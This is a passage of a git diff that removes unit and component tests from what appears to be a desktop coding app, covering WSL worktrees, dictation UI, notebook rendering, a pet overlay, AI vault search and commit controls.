getSettings: () => settings } as unknown as Store const originalPlatform = process.platform @@ -116,31 +115,4 @@ describe('worktree create preparation with the real WSL workspace-root resolver' expect(mocks.finalize).toHaveBeenCalledTimes(1) expect(mocks.discard).not.toHaveBeenCalled() }) - - it('mirrors a C: repo with a configured mirror distro on both sides', async () => { - mocks.getMirrorDistro.mockReturnValue('Ubuntu') - - await prepareWorktreeCreateForRepo(store, windowsRepo, 'origin/main') - - expect(mocks.prepareCheckout.mock.calls[0]?.[1]).toContain(MIRRORED_ROOT) - - mocks.getWslHome.mockReturnValue(WSL_HOME) - const result = await consumePreparedWorktreeCreate({ - repoPath: windowsRepo.path, - ...consumeSideRoots(windowsRepo), - branch: 'feature', - baseBranch: 'origin/main' - }) - - expect(result).not.toBeNull() - expect(mocks.discard).not.toHaveBeenCalled() - }) - - it('discards nothing and falls back when the probe fails during preparation', async () => { - mocks.getWslHomeAsync.mockResolvedValue(null) - - await prepareWorktreeCreateForRepo(store, repo, 'origin/main') - - expect(mocks.prepareCheckout.mock.calls[0]?.[1]).toContain('C:\\workspaces') - }) }) diff --git a/src/main/wsl/wsl-directory-upload.test.ts b/src/main/wsl/wsl-directory-upload.test.ts index 5d6c78d6ff5..f0e3401509a 100644 --- a/src/main/wsl/wsl-directory-upload.test.ts +++ b/src/main/wsl/wsl-directory-upload.test.ts @@ -150,9 +150,4 @@ describe.skipIf(process.platform === 'win32' || !hasSha256sum())('uploadDirector expect(existsSync(join(dest, 'large.bin'))).toBe(false) expect(readdirSync(dest).filter((name) => name.startsWith('.orca-upload-'))).toEqual([]) }) - - it('writes a file atomically through stdin', async () => { - await getTransport().writeFile(join(dest, 'nested', 'record.json'), '{"ok":true}') - expect(readFileSync(join(dest, 'nested', 'record.json'), 'utf8')).toBe('{"ok":true}') - }) }) diff --git a/src/main/wsl/wsl-pinned-runtime.test.ts b/src/main/wsl/wsl-pinned-runtime.test.ts index b132b36f7cd..c33081d017e 100644 --- a/src/main/wsl/wsl-pinned-runtime.test.ts +++ b/src/main/wsl/wsl-pinned-runtime.test.ts @@ -31,19 +31,6 @@ function runner(present = false, libc = 'glibc 2.31', promoted = 'ORCA_NODE_RUNT }) } describe('shared WSL pinned runtime', () => { - it('uses the existing materializer and verifies the pinned guest executable without a host Node prerequisite', async () => { - mocks.download.mockClear() - const run = runner() - const result = await ensureWslPinnedRuntime(run, '/fake/cache', new AbortController().signal) - expect(mocks.download).toHaveBeenCalledWith('linux-x64-glibc', '/fake/cache', expect.anything()) - expect(result).toContain(NODE_RUNTIME_ASSETS['linux-x64-glibc'].executableSha256) - const install = run.mock.calls.find(([spec]) => - spec.script?.includes('ORCA_NODE_RUNTIME_EXTRACT_FAILED') - )?.[0] - expect(install?.args).toEqual(['/mnt/c/cache/pinned.tar.gz']) - expect(install?.script).toContain('--version') - expect(run.mock.calls.some(([spec]) => spec.program === 'node')).toBe(false) - }) it('reuses a verified old guest cache without downloading or replacing it', async () => { mocks.download.mockClear() const run = runner(true) diff --git a/src/renderer/src/components/dictation/DictationIndicator.test.tsx b/src/renderer/src/components/dictation/DictationIndicator.test.tsx index a5485564c4d..51f45670e7d 100644 --- a/src/renderer/src/components/dictation/DictationIndicator.test.tsx +++ b/src/renderer/src/components/dictation/DictationIndicator.test.tsx @@ -80,85 +80,4 @@ describe('DictationIndicator', () => { document.removeEventListener(DICTATION_CONTROL_EVENT, listener) expect(actions).toEqual(['stop']) }) - - it('keeps focus on the dictation target when the stop button is pressed', () => { - render() - const stopButton = screen.getByRole('button', { name: 'Stop dictation' }) - - expect(fireEvent.mouseDown(stopButton)).toBe(false) - }) - - it('shows the assigned shortcut in the stop button tooltip in toggle mode', () => { - render() - - const tooltip = screen.getByTestId('tooltip-content') - expect(tooltip.textContent).toContain('Stop dictation') - expect(tooltip.textContent).toContain('⌘') - expect(tooltip.textContent).toContain('E') - }) - - it('keeps the shortcut out of the always-visible pill, showing it only on hover', () => { - const { container } = render() - const pill = container.firstChild as HTMLElement - - expect(pill.textContent).toContain('Listening') - expect(pill.textContent).not.toContain('⌘') - }) - - it('omits the shortcut chip in hold mode, where release stops dictation', () => { - storeState.settings = { voice: { dictationMode: 'hold' } } - render() - - expect(screen.getByRole('button', { name: 'Stop dictation' })).toBeTruthy() - expect(screen.getByTestId('tooltip-content').textContent).not.toContain('⌘') - }) - - it('hides the stop control once the session is already stopping', () => { - storeState.dictationState = 'stopping' - render() - - expect(screen.getByText('Processing…', { selector: '[aria-hidden="true"]' })).toBeTruthy() - expect(screen.queryByRole('button', { name: 'Stop dictation' })).toBeNull() - }) - - it('renders nothing while idle', () => { - storeState.dictationState = 'idle' - const { container } = render() - - expect(container.firstChild).toBeNull() - }) - - it('reacts to speaking audio and exposes the semantic state', () => { - storeState.dictationMeter = { - level: 0.72, - isSpeaking: true, - isClipping: false - } - render() - - expect(screen.getByText('Speaking')).toBeTruthy() - expect(screen.getByRole('status').textContent).toBe('Listening') - expect(screen.getByTestId('dictation-grapes').children).toHaveLength(9) - }) - - it('uses the destructive role only while clipping', () => { - storeState.dictationMeter = { - level: 1, - isSpeaking: true, - isClipping: true - } - const { container } = render() - - expect(screen.getByText('Too loud', { selector: '[aria-hidden="true"]' })).toBeTruthy() - expect((container.firstChild as HTMLElement).className).toContain('text-destructive') - }) - - it('keeps streaming transcript separate from the listening state', () => { - storeState.partialTranscript = 'A polished voice visualizer' - render() - - expect(screen.getByText('Listening', { selector: '[aria-hidden="true"]' })).toBeTruthy() - expect(screen.getByText('A polished voice visualizer')).toBeTruthy() - expect(screen.getByRole('status').textContent).toBe('Listening') - }) }) diff --git a/src/renderer/src/components/editor/DiagramViewerModal.test.tsx b/src/renderer/src/components/editor/DiagramViewerModal.test.tsx index c6ebc32191d..530011dc85c 100644 --- a/src/renderer/src/components/editor/DiagramViewerModal.test.tsx +++ b/src/renderer/src/components/editor/DiagramViewerModal.test.tsx @@ -131,19 +131,6 @@ describe('DiagramViewerModal', () => { await waitFor(() => expect(document.activeElement).toBe(opener)) }) - it('re-serializes the HTML-serialized sanitizer output as an XML image document', async () => { - // Chromium’s sanitizer emits   for U+00A0; happy-dom preserves the entity during XML serialization, so assert successful reparsing. - const sanitized = 'User A' - render() - act(() => useAppStore.getState().openModal('diagram-viewer', { svg: sanitized })) - sizeCanvas() - - expect(screen.getByRole('img', { name: 'Diagram' }).style.width).toBe('400px') - const blob = vi.mocked(URL.createObjectURL).mock.calls[0][0] - const xml = blob instanceof Blob ? await blob.text() : '' - expect(xml).toContain('xmlns="http://www.w3.org/2000/svg"') - }) - it('pans by the wheel distance whatever unit the device reports', async () => { const user = userEvent.setup() render() diff --git a/src/renderer/src/components/editor/IpynbRendering.test.tsx b/src/renderer/src/components/editor/IpynbRendering.test.tsx index c7b1ba7aecf..4b34a0e070c 100644 --- a/src/renderer/src/components/editor/IpynbRendering.test.tsx +++ b/src/renderer/src/components/editor/IpynbRendering.test.tsx @@ -2,9 +2,8 @@ import { cleanup, fireEvent, render, screen } from '@testing-library/react' import { afterEach, describe, expect, it, vi } from 'vitest' import { IpynbCellOutputs } from './IpynbCellOutputs' -import { IpynbCellSource, IpynbMarkdownCell } from './IpynbCellEditor' -import { IpynbRunPrompt } from './IpynbCellToolbar' -import { TooltipProvider } from '@/components/ui/tooltip' +import { IpynbCellSource } from './IpynbCellEditor' + import type { IpynbCell, IpynbOutput } from './ipynb-parse' vi.mock('@/i18n/i18n', () => ({ @@ -39,12 +38,6 @@ function renderSource(target: IpynbCell, onActivate = vi.fn()) { afterEach(cleanup) describe('notebook cell source', () => { - it('renders markdown through the full preview pipeline (GFM + math)', () => { - render() - expect(document.querySelector('table')).not.toBeNull() - expect(document.querySelector('.katex')).not.toBeNull() - }) - it('shows markdown as a document and edits only on double-click or Enter', () => { const onActivate = renderSource(cell('markdown', '# Report')) const preview = screen.getByRole('button') @@ -77,27 +70,6 @@ describe('notebook code preview', () => { }) }) -describe('notebook run prompt', () => { - it('shows the count, then [*] with a disabled button while queued or running, then the duration', () => { - const { rerender } = render( - , - { wrapper: TooltipProvider } - ) - expect(screen.getByText('[3]')).toBeTruthy() - expect(screen.getByRole('button', { name: 'Run cell' }).hasAttribute('disabled')).toBe(false) - - for (const state of ['queued', 'running'] as const) { - rerender() - expect(screen.getByText('[*]')).toBeTruthy() - expect(screen.getByRole('button', { name: 'Run cell' }).hasAttribute('disabled')).toBe(true) - } - - rerender() - expect(screen.getByText('[4]')).toBeTruthy() - expect(screen.getByText('1.2s')).toBeTruthy() - }) -}) - describe('notebook outputs', () => { it('renders only the richest representation of a display bundle', () => { render( diff --git a/src/renderer/src/components/editor/PluginBytesCustomEditorSurface.test.tsx b/src/renderer/src/components/editor/PluginBytesCustomEditorSurface.test.tsx index 5a0873ab9a5..682b556fe00 100644 --- a/src/renderer/src/components/editor/PluginBytesCustomEditorSurface.test.tsx +++ b/src/renderer/src/components/editor/PluginBytesCustomEditorSurface.test.tsx @@ -120,15 +120,6 @@ describe('PluginBytesCustomEditorSurface', () => { await act(() => vi.waitFor(() => expect(lastDocument()).toEqual({ bytes, fileType: 'xlsx' }))) }) - it('names the file, its size and the limit when it is too large to open', async () => { - readRuntimeFileBytes.mockResolvedValue({ kind: 'too_large', size: 80 * 1024 * 1024 }) - await render({ content: '', isBinary: true, byteSource }) - expect(container.textContent).toContain( - 'book.xlsx is too large to open in Spreadsheet (80.0 MB; the limit is 64.0 MB).' - ) - expect(container.querySelector('[data-testid="frame"]')).toBeNull() - }) - it('reloads after an outside change but not while the old content is only marked stale', async () => { readRuntimeFileBytes.mockResolvedValue({ kind: 'ok', bytes: new Uint8Array([1]) }) const first: FileContent = { content: '', isBinary: true, byteSource } diff --git a/src/renderer/src/components/emulator-pane/emulator-screen-stream-content.test.tsx b/src/renderer/src/components/emulator-pane/emulator-screen-stream-content.test.tsx index af19c21e41e..fb8e2c69e6a 100644 --- a/src/renderer/src/components/emulator-pane/emulator-screen-stream-content.test.tsx +++ b/src/renderer/src/components/emulator-pane/emulator-screen-stream-content.test.tsx @@ -131,22 +131,6 @@ describe('EmulatorScreenStreamContent', () => { expect(img?.className).not.toContain('object-fill') }) - it('rotates mismatched stream media without stretching it', async () => { - await renderStream('abc', { screenAspectRatio: 844 / 390, streamRotation: 90 }) - - await act(async () => { - frameListeners[0]?.({ streamId: 'stream-1', bytes: new Uint8Array([1, 2, 3]).buffer }) - }) - - const img = container.querySelector('img') - expect(img?.className).toContain('object-contain') - expect(img?.className).toContain('absolute') - expect(img?.className).not.toContain('object-fill') - expect(img?.style.transform).toBe('translate(-50%, -50%) rotate(90deg)') - expect(img?.style.width).toBe(`${100 / (844 / 390)}%`) - expect(img?.style.height).toBe(`${100 * (844 / 390)}%`) - }) - it('clears the previous frame while a new stream key is connecting', async () => { await renderStream('a') diff --git a/src/renderer/src/components/feature-wall/FeatureWallSetupWorkflowActions.test.tsx b/src/renderer/src/components/feature-wall/FeatureWallSetupWorkflowActions.test.tsx index 2a1ae6d10a8..44190a42ca6 100644 --- a/src/renderer/src/components/feature-wall/FeatureWallSetupWorkflowActions.test.tsx +++ b/src/renderer/src/components/feature-wall/FeatureWallSetupWorkflowActions.test.tsx @@ -4,16 +4,11 @@ import { act } from 'react' import { createRoot, type Root } from 'react-dom/client' import { afterEach, describe, expect, it, vi } from 'vitest' import { - setupGuideProjectPrompt, WorkspacesAction, cancelPendingSetupGuideTourRequest, - getSetupGuideGitRepo, - isSetupGuideWorkspaceComposerRequestCurrent, - promptForSetupGuideProject, requestSetupGuideTourWhenReady } from './FeatureWallSetupWorkflowActions' import { useAppStore } from '@/store' -import { toast } from 'sonner' import type { Repo } from '../../../../shared/repo-types' vi.mock('sonner', () => ({ @@ -65,33 +60,6 @@ describe('setup guide workflow actions', () => { }) }) - it('prompts for a project before setup-guide actions that need one', () => { - const openModal = vi.fn() - - promptForSetupGuideProject(openModal) - - expect(openModal).toHaveBeenCalledWith('add-repo') - expect(toast.message).toHaveBeenCalledWith(setupGuideProjectPrompt()) - }) - - it('chooses the active git repo for setup-guide workspace creation', () => { - const active = makeRepo('active') - - expect(getSetupGuideGitRepo([makeRepo('first'), active], 'active')).toBe(active) - }) - - it('falls back to the first git repo when the active project is a folder', () => { - const gitRepo = makeRepo('git') - - expect(getSetupGuideGitRepo([makeRepo('folder', { kind: 'folder' }), gitRepo], 'folder')).toBe( - gitRepo - ) - }) - - it('returns no setup-guide repo when only folders exist', () => { - expect(getSetupGuideGitRepo([makeRepo('folder', { kind: 'folder' })], 'folder')).toBeNull() - }) - it('opens the workspace composer with setup-guide tour context from Multi-task', async () => { vi.useFakeTimers() const requestContextualTour = vi.fn() @@ -161,14 +129,4 @@ describe('setup guide workflow actions', () => { cancelPendingSetupGuideTourRequest() vi.useRealTimers() }) - - it('rejects a stale setup-guide composer request after close and reopen', () => { - useAppStore.setState({ - activeModal: 'new-workspace-composer', - modalData: { setupGuideTourRequestId: 'new-request' } - }) - - expect(isSetupGuideWorkspaceComposerRequestCurrent('old-request')).toBe(false) - expect(isSetupGuideWorkspaceComposerRequestCurrent('new-request')).toBe(true) - }) }) diff --git a/src/renderer/src/components/native-chat/NativeChatAgentMessageRow.test.tsx b/src/renderer/src/components/native-chat/NativeChatAgentMessageRow.test.tsx index bbf9729a729..79135d2ea18 100644 --- a/src/renderer/src/components/native-chat/NativeChatAgentMessageRow.test.tsx +++ b/src/renderer/src/components/native-chat/NativeChatAgentMessageRow.test.tsx @@ -53,16 +53,6 @@ function renderUserMessage(source?: AgentMessageSource, worktreeId: string | nul } describe("another agent's message in the transcript", () => { - it('reads as a left-aligned message from its sender, not as the person’s bubble', () => { - const { container } = renderUserMessage(from([{ address: CODER.address, name: 'Coder' }])) - expect(screen.getByText('Message from')).toBeInTheDocument() - const row = container.firstElementChild - expect(row).toHaveClass('items-start') - expect(row).not.toHaveClass('items-end') - expect(container.querySelector('.bg-chat-user-surface')).toBeNull() - expect(screen.getByText('You have 1 orchestration message.')).toBeInTheDocument() - }) - it("opens the sender from its name, on the chat's own host, with the message it sent", () => { const source = from([{ address: CODER.address, name: 'Coder' }]) renderUserMessage(source) @@ -71,59 +61,6 @@ describe("another agent's message in the transcript", () => { kind: 'local' }) }) - - it('separates the names as the queued card does, and keeps two same-named senders two', () => { - const { container } = renderUserMessage( - from([ - { address: 'term_a', name: 'Codex' }, - { address: 'term_b', name: 'Codex' } - ]) - ) - expect(screen.getByText('Message from')).toBeInTheDocument() - expect(screen.getAllByRole('button', { name: 'Codex' })).toHaveLength(2) - expect(container.textContent).toContain('Codex,Codex') - }) - - it('names each sender, an unnamed one as an agent, and counts the rest', () => { - renderUserMessage( - from([ - { address: 'term_a', name: 'A' }, - { address: 'term_b', name: null }, - { address: 'term_c', name: 'C' }, - { address: 'term_d', name: 'D' } - ]) - ) - expect(screen.getByRole('button', { name: 'A' })).toBeInTheDocument() - expect(screen.getByRole('button', { name: 'an agent' })).toBeInTheDocument() - expect(screen.getByRole('button', { name: 'C' })).toBeInTheDocument() - expect(screen.queryByRole('button', { name: 'D' })).not.toBeInTheDocument() - expect(screen.getByText('+1')).toBeInTheDocument() - }) - - it('shows a sender on another host as plain text, since this host cannot open it', () => { - renderUserMessage( - from([ - { address: 'dispatch:d1', name: 'Port the parser' }, - { address: CODER.address, name: 'Coder' } - ]) - ) - expect(screen.getByText('Port the parser')).toBeInTheDocument() - expect(screen.queryByRole('button', { name: 'Port the parser' })).not.toBeInTheDocument() - expect(screen.getByRole('button', { name: 'Coder' })).toBeInTheDocument() - }) - - it('shows the name as plain text where there is no chat to open it from', () => { - renderUserMessage(from([{ address: CODER.address, name: 'Coder' }]), null) - expect(screen.getByText('Coder')).toBeInTheDocument() - expect(screen.queryByRole('button', { name: 'Coder' })).not.toBeInTheDocument() - }) - - it("leaves the person's own message as their right-aligned bubble", () => { - const { container } = renderUserMessage() - expect(screen.queryByText('Message from')).not.toBeInTheDocument() - expect(container.firstElementChild).toHaveClass('items-end') - expect(container.querySelector('.bg-chat-user-surface')).not.toBeNull() - }) }) describe("another agent's queued card", () => { @@ -158,18 +95,4 @@ describe("another agent's queued card", () => { fireEvent.click(screen.getByRole('button', { name: 'Coder' })) expect(openAgentMessageSender).toHaveBeenCalledWith(source, source.senders[0], 'wt-chat') }) - - it('counts in "+N" only the senders it does not name, same-named ones included', () => { - renderCard( - from(['term_a', 'term_b', 'term_c', 'term_d'].map((address) => ({ address, name: 'Codex' }))) - ) - expect(screen.getAllByRole('button', { name: 'Codex' })).toHaveLength(3) - expect(screen.getByText('+1')).toBeInTheDocument() - }) - - it('shows the name as plain text where there is no chat to open it from', () => { - renderCard(from([{ address: 'term_a', name: 'Coder' }]), null) - expect(screen.getByText('Coder')).toBeInTheDocument() - expect(screen.queryByRole('button', { name: 'Coder' })).not.toBeInTheDocument() - }) }) diff --git a/src/renderer/src/components/native-chat/native-chat-composer-mobile-hold.test.tsx b/src/renderer/src/components/native-chat/native-chat-composer-mobile-hold.test.tsx index 7a5a9f48621..24fbfafc267 100644 --- a/src/renderer/src/components/native-chat/native-chat-composer-mobile-hold.test.tsx +++ b/src/renderer/src/components/native-chat/native-chat-composer-mobile-hold.test.tsx @@ -113,24 +113,9 @@ describe('the chat composer while a phone holds the input', () => { fireEvent.click(screen.getByRole('button', { name: 'Take back' })) expect(onTakeBack).toHaveBeenCalledTimes(1) }) - - it('dims the editor through its contenteditable state, not :disabled', () => { - render() - const editor = screen.getByRole('textbox') - - expect(editor.getAttribute('contenteditable')).toBe('false') - expect(editor.className).toContain('[&[contenteditable=false]]:opacity-50') - expect(editor.className).toContain('[&[contenteditable=false]]:cursor-not-allowed') - expect(editor.className).not.toContain('disabled:opacity-50') - }) }) describe('useNativeChatMobileHoldNotice', () => { - it('shows nothing while the composer can send or has no terminal', () => { - expect(renderHook(() => useNativeChatMobileHoldNotice('pty-1', true)).result.current).toBe(null) - expect(renderHook(() => useNativeChatMobileHoldNotice(null, false)).result.current).toBe(null) - }) - it("runs the terminal's reclaim for this pty and refits once it lands", async () => { let resolveRestore: (restored: boolean) => void = () => {} mocks.restoreTerminalFitToDesktop.mockReturnValue( diff --git a/src/renderer/src/components/pet/PetOverlay.pointer-interaction.test.tsx b/src/renderer/src/components/pet/PetOverlay.pointer-interaction.test.tsx index 52ad9b7c354..bacd395bd28 100644 --- a/src/renderer/src/components/pet/PetOverlay.pointer-interaction.test.tsx +++ b/src/renderer/src/components/pet/PetOverlay.pointer-interaction.test.tsx @@ -142,18 +142,4 @@ describe('PetOverlay grab-and-hold pointer interaction', () => { expect(spriteDiv(container).style.animation).toContain('step-end') expect(animationName(container)).toBe(heldName) }) - - it('does not restart the idle track when hover falls back to the same row', () => { - ;({ container, root } = renderPetOverlay()) - const wrapper = container.querySelector('.pointer-events-auto') - if (!wrapper) { - throw new Error('draggable wrapper not found') - } - // Hover falls back to the same idle row and must not restart it; React derives enter/leave from pointerover/out. - const idleName = animationName(container) - firePointer(wrapper, 'pointerover', 0, 0) - expect(animationName(container)).toBe(idleName) - firePointer(wrapper, 'pointerout', 0, 0) - expect(animationName(container)).toBe(idleName) - }) }) diff --git a/src/renderer/src/components/pet/pet-overlay-hit-area.test.tsx b/src/renderer/src/components/pet/pet-overlay-hit-area.test.tsx deleted file mode 100644 index e35b0b8b393..00000000000 --- a/src/renderer/src/components/pet/pet-overlay-hit-area.test.tsx +++ /dev/null @@ -1,168 +0,0 @@ -// @vitest-environment happy-dom - -import { act } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, describe, expect, it, vi } from 'vitest' -import type { DetectedSpriteCacheEntry } from './pet-blob-cache' -import type { CustomPet } from '../../../../shared/pet-types' - -type PetUrlState = - | { url: string; ready: boolean; sprite: null; detected: null } - | { - url: string - ready: boolean - sprite: NonNullable - detected: null - } - | { url: string; ready: boolean; sprite: null; detected: DetectedSpriteCacheEntry } - -const defaultPetUrlState: PetUrlState = { - url: 'data:image/png;base64,', - ready: true, - sprite: null, - detected: null -} - -const petUrlMock = vi.hoisted(() => ({ - current: { - url: 'data:image/png;base64,', - ready: true, - sprite: null, - detected: null - } as PetUrlState -})) - -// Mock IPC/assets so this test isolates overlay hit-area structure. -vi.mock('../../store', () => { - const storeState = { - petSize: 180, - agentStatusByPaneKey: {}, - agentStatusEpoch: 0, - retainedAgentsByPaneKey: {} - } - const useAppStore = Object.assign( - (selector: (state: unknown) => unknown) => selector(storeState), - { getState: () => storeState } - ) - return { useAppStore } -}) - -vi.mock('./usePetUrl', () => ({ - usePetUrl: () => petUrlMock.current -})) - -import { PetOverlay } from './PetOverlay' - -function renderOverlay(): { root: Root; container: HTMLDivElement } { - const container = document.createElement('div') - document.body.appendChild(container) - const root = createRoot(container) - act(() => { - root.render() - }) - return { root, container } -} - -function setPetUrlState(state: PetUrlState): void { - petUrlMock.current = state -} - -function getDragHandle(container: HTMLElement): HTMLElement { - const fixedEl = container.querySelector('.fixed') - const sizeFullEl = container.querySelector('.size-full') - const grabEls = container.querySelectorAll('.pointer-events-auto') - - expect(fixedEl).not.toBeNull() - expect(sizeFullEl).not.toBeNull() - expect(grabEls.length).toBe(1) - const grabEl = grabEls[0] as HTMLElement - - expect(fixedEl?.className).toContain('pointer-events-none') - expect(sizeFullEl?.className).toContain('pointer-events-none') - expect(sizeFullEl?.className).not.toContain('pointer-events-auto') - - expect(grabEl.className).not.toContain('size-full') - expect(grabEl).not.toBe(sizeFullEl) - expect(sizeFullEl?.contains(grabEl)).toBe(true) - - expect(grabEl.style.cursor).toBe('grab') - expect(grabEl.style.touchAction).toBe('none') - - return grabEl -} - -describe('PetOverlay drag hit area', () => { - let root: Root | null = null - let container: HTMLDivElement | null = null - - afterEach(() => { - if (root) { - act(() => root?.unmount()) - } - container?.remove() - root = null - container = null - setPetUrlState(defaultPetUrlState) - }) - - it('keeps the grab/drag region off the full-size square box', () => { - ;({ root, container } = renderOverlay()) - - const grabEl = getDragHandle(container) - const img = grabEl.querySelector('img') as HTMLImageElement | null - expect(img).not.toBeNull() - expect(img?.style.maxWidth).toBe('180px') - expect(img?.style.maxHeight).toBe('180px') - }) - - it('renders manifest sprites with a content-sized drag handle child', () => { - setPetUrlState({ - url: 'data:image/png;base64,', - ready: true, - sprite: { - frameWidth: 252, - frameHeight: 320, - columns: 4, - rows: 1, - sheetWidth: 1008, - sheetHeight: 320, - fps: 8, - defaultAnimation: 'idle', - animations: { idle: { row: 0, frames: 4 } } - }, - detected: null - }) - - ;({ root, container } = renderOverlay()) - - const grabEl = getDragHandle(container) - const spriteEl = grabEl.querySelector('div[style*="background-image"]') as HTMLElement | null - expect(spriteEl).not.toBeNull() - expect(spriteEl?.style.width).toBe('141.75px') - expect(spriteEl?.style.height).toBe('180px') - }) - - it('renders detected sprites with a fixed content footprint smaller than the square box', () => { - setPetUrlState({ - url: 'data:image/png;base64,', - ready: true, - sprite: null, - detected: { - frames: [ - { x: 0, y: 0, w: 252, h: 320 }, - { x: 0, y: 0, w: 126, h: 320 } - ], - bitmaps: [] as ImageBitmap[], - fps: 8 - } - }) - - ;({ root, container } = renderOverlay()) - - const grabEl = getDragHandle(container) - const canvas = grabEl.querySelector('canvas') as HTMLCanvasElement | null - expect(canvas).not.toBeNull() - expect(canvas?.style.width).toBe('142px') - expect(canvas?.style.height).toBe('180px') - }) -}) diff --git a/src/renderer/src/components/right-sidebar/AiVaultPanelSearch.test.tsx b/src/renderer/src/components/right-sidebar/AiVaultPanelSearch.test.tsx index 51bb1ff08de..3c6efccd864 100644 --- a/src/renderer/src/components/right-sidebar/AiVaultPanelSearch.test.tsx +++ b/src/renderer/src/components/right-sidebar/AiVaultPanelSearch.test.tsx @@ -2,8 +2,7 @@ import { act, cleanup, fireEvent, render, screen } from '@testing-library/react' import { afterEach, describe, expect, it, vi } from 'vitest' -import { searchResults } from '../../../../shared/ai-vault-search-test-fixture' -import { getExecutionHostLabel } from '../../../../shared/execution-host' + import { AiVaultPanelSearch } from './AiVaultPanelSearch' import type { useAiVaultPanelSearch } from './use-ai-vault-search' @@ -50,115 +49,6 @@ function renderPanel(search: PanelSearch) { } describe('AiVaultPanelSearch', () => { - it('says only titles are matched when the host has full-text search off', () => { - renderPanel(panelSearch({ searching: false, titleOnly: true })) - expect(screen.getByRole('status').textContent).toContain('only session titles are matched') - expect(screen.getByText('results')).toBeTruthy() - }) - it('explains an unsupported agent without reporting zero matches or a missing host service', () => { - renderPanel(panelSearch({ response: { kind: 'unavailable', reason: 'unsupported-agent' } })) - expect(screen.getByRole('status').textContent).toContain( - 'does not support history search for the selected agent' - ) - }) - it('names every computer the merge could not search, with its reason', () => { - const response = searchResults() - renderPanel( - panelSearch({ - hits: response.hits, - response: { - ...response, - hosts: [ - { executionHostId: 'local', outcome: 'disabled' }, - { executionHostId: 'ssh:build-box', outcome: 'unreachable' }, - { executionHostId: 'runtime:cloud', outcome: 'searched' }, - { executionHostId: 'runtime:paused', outcome: 'not-ready' }, - { executionHostId: 'ssh:moved', outcome: 'stale' }, - { executionHostId: 'ssh:old', outcome: 'no-service' } - ] - } - }) - ) - - expect(screen.getByRole('status').textContent).toBe( - `Not searched: ${getExecutionHostLabel('local')} (search off) · build-box (unreachable) · paused (not ready) · moved (index changed) · old (unavailable)` - ) - }) - - it('says a computer does not have this workspace or project rather than blaming the search', () => { - renderPanel(panelSearch({ response: { kind: 'unavailable', reason: 'scope-unknown' } })) - - expect(screen.getByRole('status').textContent).toContain( - 'does not have this workspace or project' - ) - }) - - it('stays quiet about computers that simply lack the scope while another searched it', () => { - const response = searchResults() - renderPanel( - panelSearch({ - hits: response.hits, - response: { - ...response, - hosts: [ - // Stale: it resolved the scope and searched, then the index moved. - { executionHostId: 'local', outcome: 'stale' }, - { executionHostId: 'ssh:box', outcome: 'scope-unknown' } - ] - } - }) - ) - - expect(screen.getByRole('status').textContent).toBe( - `Not searched: ${getExecutionHostLabel('local')} (index changed)` - ) - }) - - it('names the scope when it explains an empty result, because no computer had it', () => { - const response = searchResults() - renderPanel( - panelSearch({ - hits: [], - response: { - ...response, - hits: [], - hosts: [ - { executionHostId: 'local', outcome: 'scope-unknown' }, - { executionHostId: 'ssh:box', outcome: 'scope-unknown' }, - // Unreachable explains nothing about the scope, so it does not silence it. - { executionHostId: 'runtime:gone', outcome: 'unreachable' } - ] - } - }) - ) - - expect(screen.getByRole('status').textContent).toContain('box (scope not found there)') - }) - - it('stays silent when every computer answered', () => { - const response = searchResults() - renderPanel( - panelSearch({ - hits: response.hits, - response: { - ...response, - hosts: [{ executionHostId: 'local', outcome: 'searched' }] - } - }) - ) - - expect(screen.queryByRole('status')).toBeNull() - expect(screen.getByText('results')).toBeTruthy() - }) - - it('no longer asks the user to choose one computer before searching', () => { - renderPanel(panelSearch({ host: null })) - - expect(screen.queryByRole('status')).toBeNull() - expect(screen.queryByText(/choose one computer/i)).toBeNull() - expect(screen.getByText('results')).toBeTruthy() - }) - it('retires the session search tip when the user turns search on here', async () => { const search = panelSearch({ needsLocalConsent: true }) renderPanel(search) diff --git a/src/renderer/src/components/right-sidebar/CommitArea.chevron-spinner.test.tsx b/src/renderer/src/components/right-sidebar/CommitArea.chevron-spinner.test.tsx deleted file mode 100644 index b39e3fffe72..00000000000 --- a/src/renderer/src/components/right-sidebar/CommitArea.chevron-spinner.test.tsx +++ /dev/null @@ -1,145 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { renderToStaticMarkup } from 'react-dom/server' -import { TooltipProvider } from '@/components/ui/tooltip' -import { CommitArea } from './source-control/commit/commit-area' -import { resolvePrimaryAction, type PrimaryActionInputs } from './source-control-primary-action' -import { resolveDropdownItems } from './source-control-dropdown-items' -import type { DropdownActionKind } from '../../../../shared/source-control-dropdown-item-types' - -function buildInputs(overrides: Partial = {}): PrimaryActionInputs { - return { - stagedCount: 1, - hasUnstagedChanges: false, - hasStageableChanges: false, - hasPartiallyStagedChanges: false, - hasMessage: true, - hasUnresolvedConflicts: false, - isCommitting: false, - isRemoteOperationActive: false, - upstreamStatus: { hasUpstream: true, ahead: 0, behind: 0 }, - ...overrides - } -} - -function baseProps(overrides: Partial = {}) { - const inputs = buildInputs(overrides) - return { - worktreeId: 'wt-1', - groupId: 'group-1', - commitMessage: 'feat: add commit area', - commitError: null as string | null, - commitFailureRecoveryPrompt: null as string | null, - pushRecovery: null, - remoteActionError: null as string | null, - isCommitting: inputs.isCommitting, - isFixingCommitFailureWithAI: false, - isFixingPushFailureWithAI: false, - sourceControlAiActionsVisible: true, - aiAgentConfigured: false, - isGenerating: false, - generateError: null as string | null, - stagedCount: inputs.stagedCount, - hasPartiallyStagedChanges: inputs.hasPartiallyStagedChanges, - hasUnresolvedConflicts: inputs.hasUnresolvedConflicts, - isRemoteOperationActive: inputs.isRemoteOperationActive, - inFlightRemoteOpKind: inputs.inFlightRemoteOpKind ?? null, - primaryAction: resolvePrimaryAction(inputs), - dropdownItems: resolveDropdownItems(inputs), - onCommitMessageChange: vi.fn(), - onGenerate: vi.fn(), - onCancelGenerate: vi.fn(), - onFixCommitFailureWithAI: vi.fn(), - onFixPushFailureWithAI: vi.fn(), - onPrimaryAction: vi.fn(), - onDropdownAction: vi.fn() as (kind: DropdownActionKind) => void - } -} - -function buttons(markup: string): string[] { - return [...markup.matchAll(//g)] - .map((match) => match[0]) - .filter((entry) => !entry.includes('aria-label="Generate commit message with AI"')) -} - -function renderButtons(props: ReturnType): string[] { - return buttons( - renderToStaticMarkup( - - - - ) - ) -} - -describe('CommitArea chevron spinner', () => { - it('spins the chevron while a dropdown Fetch is in flight', () => { - const [primary, chevron] = renderButtons( - baseProps({ - stagedCount: 0, - hasMessage: false, - upstreamStatus: { hasUpstream: true, ahead: 1, behind: 0 }, - isRemoteOperationActive: 